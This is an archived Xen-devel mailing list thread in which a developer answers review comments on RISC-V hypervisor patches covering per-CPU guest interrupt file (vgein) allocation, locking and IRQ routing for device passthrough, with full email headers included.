>> +    return notifier_from_errno(rc);
>> +}
> 
> Where's the freeing of the allocation vgein_init(), when CPU bringup fails
> or a CPU was brought down?
I'll add the following:

case CPU_UP_CANCELED:
case CPU_DEAD:
     vgein_free(cpu);
     break;

and:

static void vgein_free(unsigned int cpu)
{
     struct vgein_ctrl *vgein = &per_cpu(vgein, cpu);

     ASSERT(!vgein->bmp);

     vgein->geilen = 0;
     XVFREE(vgein->owners);
}

I'm also wondering whether vgein_init() should be moved to 
CPU_UP_PREPARE. If vgein_init() fails in CPU_STARTING, the hypervisor 
will stop instead of simply ignoring the CPU.

However, in CPU_UP_PREPARE we don't yet know the value of GEILEN, which 
is needed to allocate vgein->owners. As I understand it, CPU_UP_PREPARE 
is not executed on the CPU that is being brought up.


> 
>> +static struct notifier_block cpu_nfb = {
>> +    .notifier_call = cpu_callback,
>> +};
>> +
>>   void __init aia_init(void)
>>   {
>> +    int rc;
>> +
>>       if ( !riscv_isa_extension_available(NULL, RISCV_ISA_EXT_ssaia) )
>> +    {
>> +        dprintk(XENLOG_WARNING, "SSAIA isn't present in riscv,isa\n");
>>           return;
>> +    }
>> +
>> +    if ( (rc = vgein_init(0)) )
>> +    {
>> +        dprintk(XENLOG_ERR, "vgein_init() failed: %d\n", rc);
>> +        return;
>> +    }
>>   
>>       _aia_usable = true;
>> +
>> +    register_cpu_notifier(&cpu_nfb);
>> +}
>> +
>> +unsigned int vgein_assign(struct vcpu *v)
>> +{
>> +    unsigned int vgein_id;
>> +    struct vgein_ctrl *vgein = &per_cpu(vgein, v->processor);
>> +    unsigned long *bmp = &vgein->bmp;
>> +    unsigned long flags;
>> +
>> +    if ( !vgein->geilen )
>> +        return 0;
>> +
>> +    spin_lock_irqsave(&vgein->lock, flags);
> 
> Because it's unclear where this is to be called from, it's also unclear whether
> a lock is needed here (and if so whether a plain spin lock is appropriate).

Based on what I wrote in [A] above a lock is defintely needed as it 
could be that vgein_release() is called for old pCPU during migration 
and at the same time old pCPU could call vgein_assign() so we want to 
keep vgein bitmap consistent.

Regarding why _irqsave() it is mostly connected to ...

> 
>> +    /*
>> +     * The vgein_id shouldn't be zero, as it will indicate that no guest
>> +     * external interrupt source is selected for VS-level external interrupts
>> +     * according to RISC-V privileged spec:
>> +     *   Hypervisor Status Register (hstatus) in RISC-V privileged spec:
>> +     *
>> +     *   The VGEIN (Virtual Guest External Interrupt Number) field selects
>> +     *   a guest external interrupt source for VS-level external interrupts.
>> +     *   VGEIN is a WLRL field that must be able to hold values between zero
>> +     *   and the maximum guest external interrupt number (known as GEILEN),
>> +     *   inclusive.
>> +     *   When VGEIN=0, no guest external interrupt source is selected for
>> +     *   VS-level external interrupts.
>> +     *
>> +     * So start to search from bit number 1.
>> +     */
>> +    vgein_id = find_next_zero_bit(bmp, vgein->geilen + 1, 1);
>> +
>> +    if ( vgein_id > vgein->geilen )
>> +        vgein_id = 0;
>> +    else
>> +    {
>> +        __set_bit(vgein_id, bmp);
>> +        vgein->owners[vgein_id] = v;
> 
> Again somewhat related to is being unclear how the function is going to be used,
> it also remains unclear what ->owners[] is going to be needed for. Right now the
> array is only ever written to.

->owners[] is used in IRQ context to wake up a vCPU. For example, if a 
vCPU has been descheduled, we need to set the corresponding CSR_HGEIE[] 
bit so that when an interrupt associated with that vCPU occurs, it traps 
into the hgei_interrupt() handler, which then wakes the vCPU. (all of 
that isn't introduced now but I thought it would be useful to track 
->owners[] just from the start).

Since ->owners[] is accessed from both IRQ-safe (hgei_interrupt()) and 
IRQ-unsafe (vCPU migration) contexts, we specifically need the 
_irqsave() variant of the lock.

To make this clearer, I'll add the following to the commit message (if 
that helps):
```
Along with the bitmap, track which vCPU owns each guest interrupt file
id. Nothing consumes this yet, but it is filled in from the start as
the owner is what a guest external interrupt handler needs: a guest
interrupt file stays enabled in hgeie while its vCPU is descheduled, so
an interrupt targeting that file traps to Xen, which then has to find
the vCPU it belongs to in order to wake it up.

While the tracking is per-CPU data, it isn't accessed only locally: a
guest interrupt file belongs to the pCPU a vCPU is going to run on, so
it is allocated and released by whichever CPU is handling the vCPU at
the time: the release side is even passed the target CPU explicitly.
Hence a lock is needed. It has to be the IRQ-safe variant, as the
tracking is also going to be read from interrupt context on the CPU
owning it.
```
> 
>> +    }
>> +
>> +    spin_unlock_irqrestore(&vgein->lock, flags);
>> +
>> +#ifdef VGEIN_DEBUG
>> +    gprintk(XENLOG_DEBUG, "%s: %pv: vgein_id(%u), xen_cpu%u_bmp=%#lx\n",
>> +           __func__, v, vgein_id, v->processor, *bmp);
>> +#endif
>> +
>> +    return vgein_id;
>> +}
>> +
>> +void vgein_release(struct vcpu *v, unsigned int vgein_id)
>> +{
>> +    unsigned long flags;
>> +    struct vgein_ctrl *vgein = &per_cpu(vgein, v->processor);
>> +
>> +    if ( !vgein_id )
>> +        return;
>> +
>> +    spin_lock_irqsave(&vgein->lock, flags);
>> +    __clear_bit(vgein_id, &vgein->bmp);
>> +    vgein->owners[vgein_id] = NULL;
> 
> If already you track the vCPU, also assert that prior to clearing the array
> slot it has the expected value? For the bit being cleared, maybe also
> 
>      if ( !__test_and_clear_bit(vgein_id, &vgein->bmp) )
>          ASSERT_UNREACHABLE();
> 
> ? Yet as said - much remains unclear without knowing how all of this is
> meant to be used.

It makes sense. I will add that.

Thanks.

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 15:02:37 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 15:02:37 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1376183.1623080 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp5ni-0008OM-So; Wed, 29 Jul 2026 15:02:30 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1376183.1623080; Wed, 29 Jul 2026 15:02:30 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp5ni-0008OF-Q1; Wed, 29 Jul 2026 15:02:30 +0000
Received: by outflank-mailman (input) for mailman id 1376183;
 Wed, 29 Jul 2026 15:02:30 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wp5ni-0008O7-7O
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 15:02:30 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp5nh-00Eqa1-KN
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 17:02:29 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6a15fa-2eae-0a2a0a5409dd-0a2a4508d2a4-44
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 17:02:29 +0200
Received: from [209.85.128.54] (helo=mail-wm1-f54.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6a1605-f659-0a2a45080019-d1558036f12f-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 17:02:29 +0200
Received: by mail-wm1-f54.google.com with SMTP id
 5b1f17b1804b1-49548aebcd8so7815995e9.3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 08:02:29 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-497fecfccc7sm49217695e9.12.2026.07.29.08.02.27
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 29 Jul 2026 08:02:27 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1785337349; x=1785942149; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=+0rUANCvVWVW0kdzwOfTq0br9fDY8k13zwZAGN6CEZQ=;
        b=XdDUnrZIrxuNg/g851oOpD0REg/hc5ezyy4ZnhMR4r/4JdpDdQH5hiVVy4AEdyk/JH
         3ln5/qPUEP28Ap5y3MwFGlwBU1Edf9ApnDh+4Pp41MNMoS66zB0m3tmoRDTZ7bn0N4L7
         NtGaPVV7d5+SLgGfXevwB53XblQ5k+fRRXP/l2uGzsdR3ddO00Ryxqt7p9S2csb8bfLX
         cOyPK9/hGQ7CcMl8fNsu3IeZl5OzJG9wG1eixxx/Cla1rf4DN6lZzIq7VWFne7sjIal+
         BQ2p6GHily2RkGiMSzGycNOUAg1jfh1u3VWZadFWVyAk1tES6AC32ZZBWFmuVGx/l+jz
         TJaw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785337349; x=1785942149;
        h=content-transfer-encoding:content-type:in-reply-to:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=+0rUANCvVWVW0kdzwOfTq0br9fDY8k13zwZAGN6CEZQ=;
        b=aeDz3LvIMFl7wmpBdv5kCUa0VyECqp9V5bFD//C8YPexmTUSMUB9hqQgcByQ3BOWTr
         Yj09I8LGLi3ZznRCGxOeh6+GL0uSNQT+dGWOXun4qBXJMppOattqdhkDBUDK5X2q80BG
         EyGc/SNSBEuDHLnjbJyFGIexE8XEn2FWwyLjgpcEIQglvTlVWc4h8mAPrlgTc7hDttOR
         kwkxdeffDDM1w0mthXIBa/giNd133wXI9+e5pAx7Oky2+QAjsxOrkYrAlE0O93Olm6Wt
         rPQvFLi590zDfc2KMqEvQfGSVVPx2D3Kt0hy4DS1rwFYXBP74W/vV74mJgL8Y0Z1bWSU
         Il3g==
X-Forwarded-Encrypted: i=1; AHgh+Ro9vTdw/TwMqQBUzrZCvhXeDKHRjjqrY9BohEK+uXXFGNsyiiWACidiu6MQxQmJvzw3XLI7l3sob7o=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yy5fsSOO/YMiG8r/0Em0GZPs2GmJ7MUtba5fNh6a0derFdhz7Vf
	iwBcDg6IQZiI022X5sGq1j7tbIKF4Zpf1i7DMQueY7KA5nqPjF97yH4N
X-Gm-Gg: AR+sD13yPOijal5YrmU4fUvUalRtqK4p4Wd46bDQXa8kX24Z7xl67faZXc9DQOpOy6q
	ml2rz2TOf9DSZJ+fD8b7d/9PKw3UWpwEFe/nc2+zsWTt3rSaPoYMTtGXWeFYhCaoploYm5fOWMQ
	V2yOGutXab87wlVGtslOc3qaWR445GA9PBKg+iS+1dLi/N35Uwt7/FiINtX1k3X7J69G39lgnmd
	uF9YdaSEYaUygnzlgAPQ5ejPv0d76CjBB3xOaeCaIDDBC2bMqg7AN9Sak/o8ENfGOaOS9iQgY7v
	j93biIWN4hhBoTwo66voCzXN5TOXbtFbBq0K0ESTiZfHHL5B+yniQtQgzecrGTt7HnvksSq6pr5
	6RWcBPhMBclLmxDp22Ia+hgmg1VKeJSjyCtaft0IXneSB1u/jOGLARKysvO738+kausfbCejOqF
	5Q86dd95cI/inedAAeV5Ej2ZjElvmwIcXiBcQcuGV5uDEXJPv3SmLgELynlEipE7fjJj58Kd6YX
	VNO2O0ZnotIrPXejcKn+jmo7nTc6Ybxz0e8SXR5wI3dXVVh3oAPpQ==
X-Received: by 2002:a05:600c:638f:b0:496:bba5:33a9 with SMTP id 5b1f17b1804b1-496c658ef41mr81282645e9.34.1785337348494;
        Wed, 29 Jul 2026 08:02:28 -0700 (PDT)
Message-ID: <5c5f04e2-56fb-42b5-b49c-faebac313c54@gmail.com>
Date: Wed, 29 Jul 2026 17:02:27 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6 18/23] xen/riscv: implement IRQ routing for device
 passthrough
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 "Daniel P. Smith" <dpsmith@apertussolutions.com>,
 xen-devel@lists.xenproject.org
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
 <c489a420b1c01c5312773c2e2b51f63d3babf855.1784559209.git.oleksii.kurochko@gmail.com>
 <c64fc958-73bb-44ed-a3b2-dc368ce675ac@suse.com>
 <6cebc63c-2f21-4ef8-ab10-e2ec62f887b7@gmail.com>
 <534eef4c-7f5d-4565-97b8-e0cc3b3290c2@suse.com>
Content-Language: en-US
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
In-Reply-To: <534eef4c-7f5d-4565-97b8-e0cc3b3290c2@suse.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c1860d/1785337349-D554C87B-F88F40A9/10/73395122804
X-purgate-type: spam
X-purgate-size: 1720



On 7/29/26 4:15 PM, Jan Beulich wrote:
> On 29.07.2026 13:59, Oleksii Kurochko wrote:
>> On 7/23/26 3:30 PM, Jan Beulich wrote:
>>> On 20.07.2026 17:59, Oleksii Kurochko wrote:
>>>> +/* Route an IRQ to a specific guest */
>>>> +int route_irq_to_guest(struct domain *d, unsigned int virq,
>>>> +                       unsigned int irq, const char *devname)
>>>> +{
>>>> +    struct irqaction *action;
>>>> +    struct irq_guest *info;
>>>> +    struct irq_desc *desc;
>>>> +    unsigned long flags;
>>>> +    int retval = 0;
>>>> +
>>>> +    if ( d->is_dying )
>>>> +        return -EINVAL;
>>>> +
>>>> +    desc = irq_to_desc(irq);
>>>> +
>>>> +    /*
>>>> +     * release_irq() frees this action via xvfree(), relying on action
>>>> +     * being the first member of struct irq_guest so that &info->action
>>>> +     * coincides with info itself. Guard the layout so a future field
>>>> +     * reorder can't silently turn that into a free() of a mid-allocation
>>>> +     * pointer.
>>>> +     */
>>>> +    BUILD_BUG_ON(offsetof(struct irq_guest, action) != 0);
>>>
>>> Can't release_irq() simply use container_of()? One way or another it feels
>>> like you're painting yourself into a particular corner ...
>>
>> If it isn't the best option then it is needed to follow they way we had
>> before:
> 
> I don't understand why you think you need to go back.

Because, based on your replyâ€”specifically, "One way or another it feels 
like you're painting yourself into a particular corner..." â€” it seems 
that even if I replaced BUILD_BUG_ON() with container_of() in 
release_irq(), you would still consider it a bad solution. Did I 
misunderstand your point?

~ Oleksii


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 15:23:29 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 15:23:29 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1376250.1623089 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp67u-0003VQ-9I; Wed, 29 Jul 2026 15:23:22 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1376250.1623089; Wed, 29 Jul 2026 15:23:22 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp67u-0003VJ-6n; Wed, 29 Jul 2026 15:23:22 +0000
Received: by outflank-mailman (input) for mailman id 1376250;
 Wed, 29 Jul 2026 15:23:21 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wp67t-0003VD-7D
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 15:23:21 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp67s-00Ak1U-Jw
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 17:23:20 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6a1ad3-bab6-0a2a0a5309dd-0a2a4508cab4-32
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 17:23:20 +0200
Received: from [209.85.128.42] (helo=mail-wm1-f42.google.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6a1ae8-f659-0a2a45080019-d155802ab4d8-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 17:23:20 +0200
Received: by mail-wm1-f42.google.com with SMTP id
 5b1f17b1804b1-495635a85d2so8512315e9.0
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 08:23:20 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496e8e06f7csm72511015e9.0.2026.07.29.08.23.19
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 29 Jul 2026 08:23:19 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20251104 header.d=gmail.com header.i="@gmail.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Content-Language:References:Cc:To:From:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20251104; t=1785338600; x=1785943400; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:content-language
         :references:cc:to:from:subject:user-agent:mime-version:date
         :message-id:from:to:cc:subject:date:message-id:reply-to:content-type;
        bh=xnei6A7l1mI7PBSmafOSXraeR60REciey6GvXxBvLms=;
        b=c00i0pVSxBpAKOKe3VjDDXL0XQeMj2j/Who+XMtncGQTN0OXbOM3xWczj/hDiVLxH6
         DR5NoQC4fJsALeF7At9N8Hw/L4SHq8Xg1Aa1BJc3IEQ/biDTiQ57ypvRVYuvjpILzEbm
         JBLmToHdG1GQsJC09Qg2V+ZtpXa6LQmHePLT2QTTfbERk2NydJzcfEyrektC5lV/TvFR
         CW6U0567ePbO5GHrz3/9sPDiG7JNcvBNVcMF5A+kCNdm/P6T2L6Q9AGTYHlrEeAj0noU
         wHJPvZ7Gi0zCifohppcQBeet71kML1mE7G9ZQ6+x0s3SKsdPtBbLdrtXbomledo53ILP
         8qLw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785338600; x=1785943400;
        h=content-transfer-encoding:content-type:in-reply-to:content-language
         :references:cc:to:from:subject:user-agent:mime-version:date
         :message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=xnei6A7l1mI7PBSmafOSXraeR60REciey6GvXxBvLms=;
        b=LyjxYJwFh2Z9IEMB8Xbk+N5JfZd8G/YPYbD03aEVPRPJ1pAyUEoxvY9UepOp6BuW7g
         OMazEE/9VWWr0pRQPJ/gl2mKFVbuKIPevZzLZZTuBdnUQEH2d23Lc+QK4o9vj8X07HlS
         p2HtegaJqvoSflO++g1NI2PQ+QlMNUCQhTZJrpZzy0psw07P84yspevsyLeWVVgh4eCt
         cWHse2U8q/cVjRx9pFyCYahKCaDaECuHNMsIXN/2J8ARzN/5oFzEkJwcOv2ekicnSr2k
         qX6OqiikF1dAQZYk2hVhOQRkfPzMSa4BIyNkoiQlfouzyev/ZZQSZybjL4PXlVMSSxff
         cyfQ==
X-Forwarded-Encrypted: i=1; AHgh+Roi9uGfLuoz96HBn62kRh6P65afdq2wK3GWHZAVneDODd4271rFvibxj6D9u7NXUSVYD9g8gEUdFXI=@lists.xenproject.org
X-Gm-Message-State: AOJu0YylSndG+z0gONOFay3Z0hG68ursV7GksZtdiMzWhf5752HWpjQy
	1dzH0JTTC8wzFvvRwy4w0Axp9jPuLqZPIL+fZ1oS7+tooMsfFF7FWtl/
X-Gm-Gg: AR+sD101ePB6EWR0fhd6W+N/mXaBZNKyNw1jUa6ULXMiiPC3vqEkNQPG9jN6uG9lr4X
	BiXPAZPERx2tvDBv6o8U5RWyZ8hg5Qp531cm6sFWRe+Pdd/CwvfmObGqvqLGoc0WTFmgidOqjGK
	fOGc6R+pIHnXMoH6i3lPHqP+TpfML3Ng7gEG0OHEhABqz6RhQLm3R3GIgnk43S807r0mbGbSkc9
	JHbACZ5Osc1732SYAFY5hn5jRkrfvP5CzU/U/T6rCNDMOerwgkGfLrpWm0rXGvUtsm6BoWldaDk
	K6RwjiPTFrFqZgTV+tSLyo3qvs3gNbmSjeDcdfBjz+xmotozPlspQ5uPc7zJoZ2owasU6akR4RI
	NK8WvC0TJcF1wqN6rhivwAoVQAXUEMA7OCWFyHCKUsR0ZtlXJIzgAZFrygyoUJP7uJCludhI2/m
	rwDUM6lXiz/Rzb551us5cvql7135pIxDHX/D1g7rCm8bRHQ/+dX3WUfKq+srhtFCDtlLAVedGGp
	88P1Yr2DhCEwdGViO/mGJmZ1ElaHcVvcupKa618UFRXaOXiHht6Kw==
X-Received: by 2002:a05:600c:1f8c:b0:495:52a5:8829 with SMTP id 5b1f17b1804b1-496c642c7e2mr89454055e9.11.1785338599842;
        Wed, 29 Jul 2026 08:23:19 -0700 (PDT)
Message-ID: <756041b3-14e2-4c1d-bbee-548ca3bea349@gmail.com>
Date: Wed, 29 Jul 2026 17:23:18 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v6 18/23] xen/riscv: implement IRQ routing for device
 passthrough
From: Oleksii Kurochko <oleksii.kurochko@gmail.com>
To: Jan Beulich <jbeulich@suse.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 "Daniel P. Smith" <dpsmith@apertussolutions.com>,
 xen-devel@lists.xenproject.org
References: <cover.1784559209.git.oleksii.kurochko@gmail.com>
 <c489a420b1c01c5312773c2e2b51f63d3babf855.1784559209.git.oleksii.kurochko@gmail.com>
 <c64fc958-73bb-44ed-a3b2-dc368ce675ac@suse.com>
 <6cebc63c-2f21-4ef8-ab10-e2ec62f887b7@gmail.com>
 <534eef4c-7f5d-4565-97b8-e0cc3b3290c2@suse.com>
 <5c5f04e2-56fb-42b5-b49c-faebac313c54@gmail.com>
Content-Language: en-US
In-Reply-To: <5c5f04e2-56fb-42b5-b49c-faebac313c54@gmail.com>
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-purgate-ID: tlsNG-c1860d/1785338600-CD74B87B-BCF8DCB9/10/73395122804
X-purgate-type: spam
X-purgate-size: 2504



On 7/29/26 5:02 PM, Oleksii Kurochko wrote:
> 
> 
> On 7/29/26 4:15 PM, Jan Beulich wrote:
>> On 29.07.2026 13:59, Oleksii Kurochko wrote:
>>> On 7/23/26 3:30 PM, Jan Beulich wrote:
>>>> On 20.07.2026 17:59, Oleksii Kurochko wrote:
>>>>> +/* Route an IRQ to a specific guest */
>>>>> +int route_irq_to_guest(struct domain *d, unsigned int virq,
>>>>> +Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â Â  unsigned int irq, const char *devname)
>>>>> +{
>>>>> +Â Â Â  struct irqaction *action;
>>>>> +Â Â Â  struct irq_guest *info;
>>>>> +Â Â Â  struct irq_desc *desc;
>>>>> +Â Â Â  unsigned long flags;
>>>>> +Â Â Â  int retval = 0;
>>>>> +
>>>>> +Â Â Â  if ( d->is_dying )
>>>>> +Â Â Â Â Â Â Â  return -EINVAL;
>>>>> +
>>>>> +Â Â Â  desc = irq_to_desc(irq);
>>>>> +
>>>>> +Â Â Â  /*
>>>>> +Â Â Â Â  * release_irq() frees this action via xvfree(), relying on 
>>>>> action
>>>>> +Â Â Â Â  * being the first member of struct irq_guest so that &info- 
>>>>> >action
>>>>> +Â Â Â Â  * coincides with info itself. Guard the layout so a future field
>>>>> +Â Â Â Â  * reorder can't silently turn that into a free() of a mid- 
>>>>> allocation
>>>>> +Â Â Â Â  * pointer.
>>>>> +Â Â Â Â  */
>>>>> +Â Â Â  BUILD_BUG_ON(offsetof(struct irq_guest, action) != 0);
>>>>
>>>> Can't release_irq() simply use container_of()? One way or another it 
>>>> feels
>>>> like you're painting yourself into a particular corner ...
>>>
>>> If it isn't the best option then it is needed to follow they way we had
>>> before:
>>
>> I don't understand why you think you need to go back.
> 
> Because, based on your replyâ€”specifically, "One way or another it feels 
> like you're painting yourself into a particular corner..." â€” it seems 
> that even if I replaced BUILD_BUG_ON() with container_of() in 
> release_irq(), you would still consider it a bad solution. Did I 
> misunderstand your point?

One more thing: I'm not really sure it's safe to do the following in 
release_irq():

if ( action->free_on_release )
     xvfree(container_of(action, struct irq_guest, action));

release_irq() is a generic API, but this kind of allocation is only 
needed for guest IRQs. Wouldn't it be better to set:

action->free_on_release = false;

for guest IRQs, and then free the memory in release_guest_irq() after 
the call to release_irq()?

Wouldn't that be a better approach than calling 
`xvfree(container_of(...))` from within the generic release_irq()?


~ Oleksii


From xen-devel-bounces@lists.xenproject.org Wed Jul 29 15:26:18 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 29 Jul 2026 15:26:18 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1376266.1623099 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp6Ai-00043A-Ou; Wed, 29 Jul 2026 15:26:16 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1376266.1623099; Wed, 29 Jul 2026 15:26:16 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wp6Ai-000433-M7; Wed, 29 Jul 2026 15:26:16 +0000
Received: by outflank-mailman (input) for mailman id 1376266;
 Wed, 29 Jul 2026 15:26:15 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wp6Ah-00042x-Fe
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 15:26:15 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wp6Ag-000NeI-Ry
 for xen-devel@lists.xenproject.org; Wed, 29 Jul 2026 17:26:14 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6a1b82-e002-0a2a0a5209dd-0a2a4502d6fc-48
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 17:26:14 +0200
Received: from [209.85.128.46] (helo=mail-wm1-f46.google.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <oleksii.kurochko@gmail.com>)
 id 6a6a1b96-6ca4-0a2a45020019-d155802eb844-3
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 17:26:14 +0200
Received: by mail-wm1-f46.google.com with SMTP id
 5b1f17b1804b1-496bb7cdf51so11241765e9.2
 for <xen-devel@lists.xenproject.org>; Wed, 29 Jul 2026 08:26:14 -0700 (PDT)
Received: from [192.168.1.6] (user-109-243-144-234.play-internet.pl.
 [109.243.144.234]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49764d944cfsm40502645e9.4.2026.07.29.08.26.13
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 29 Jul 2026 08:26:13 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
